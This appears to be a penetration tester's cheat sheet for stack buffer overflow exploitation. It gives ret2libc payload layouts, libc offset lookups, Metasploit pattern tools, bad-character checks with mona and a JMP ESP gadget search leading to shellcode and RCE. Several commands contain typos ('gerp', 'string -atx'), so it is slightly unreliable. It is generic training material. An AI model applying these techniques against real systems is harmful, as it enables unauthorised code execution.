Buffer Overflow
Table of content
Ret2Libc
Standard Ret2Libc
'A' * buffer_size + system_address + exit_address + /bin/sh_address
The buffer size must be set in order to be able to control RIP
. It can be easily found using GDB
and pattern create
.
The infosecwriteups
article show how to do it.
With access to the machine
- Get libc address :
ldd ${executable}
- Get libc's function offset :
readelf -s ${libc} | gerp ${functionName}
- Get libc's string offset :
string -atx ${libc} | grep ${string}
The complete function address is : ${libcAddress} + ${functionOffset}
Windows
Pattern create
# Find the binary
locate pattern_create
# Generate the pattern
msf-pattern_create -l ${bufferSize}
# Find the offset from the value leaked on EIP
msf-pattern_offset -l ${initalPatternLength} -q ${patternFoundOnEIP}
Control EIP
The bytes set after the patternOffset will control EIP
:
# Set 0x42424242 in EIP
buff = "A" * ${patternOffset} + "BBBB" + "C" * 16
Remove badchars
Manually
badchars = b"\x01\x02\x03\x04\x05\x06\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
send("A" * ${patternOffset} + badchars)
Verify in the stack if the values are correctly sent and remove values that are not exactly the same than the one expected.
For example :
badchars = "\x01\x02\x03\x04\x05\x06\x07\x08"
send("A" * ${patternOffset} + 'BBBB' + badchars)
# Stack state once the PE crashed :
# ESP + 0 : \x01 \x02 \x0A \x08
# ESP + 8 : \x05 \x06 \x07 \x08
#
# \x03 is the first wrong value. \x03 is a badchars.
# Remove the badchar and do it again as long as all
# remaining chars are correctly stored.
Mona (Immunity Debugger)
Generate the bytearrays inital mona
byte array :
!mona config -set workingfolder c:\mona\%p
!mona bytearray -b '${badcharsList}'
# !mona bytearray -b "\x00"
Once the program crash, use mona
to detect badchars:
!mona compare -f C:\mona\${...}\bytearray.bin -a esp
Usually, if mona
detect 2 consecutive byte as badchars, it is because the first one make the second glitch. Thus, keep the first one only.
For example, if mona
find the following badchars :
\x00 \x07 \x08 \x0A \x0B
Keep only \x00, \x07 and \x0A as badchar and relaunch the process without these badchars as long as mona
find other badchars.
Find jump point
The payload is stored in ESP
. It is then required to replace the current EIP
by a JMP ESP
.
Mona can be used to find the gadjet address:
mona ! jmp -r esp -cpb "${badchars}"
# !mona jmp -r esp -cpb "\x00\x0a\x0d"
Keep the address in litlle endian and send the following payload to get rce :
send("A" * ${patternOffset} + ${jmpAddress} + ${shellcode})
It can be usefull to make a NOP
sleeve :
send("A" * ${patternOffset} + ${jmpAddress} + "\x90" * 16 + ${shellcode})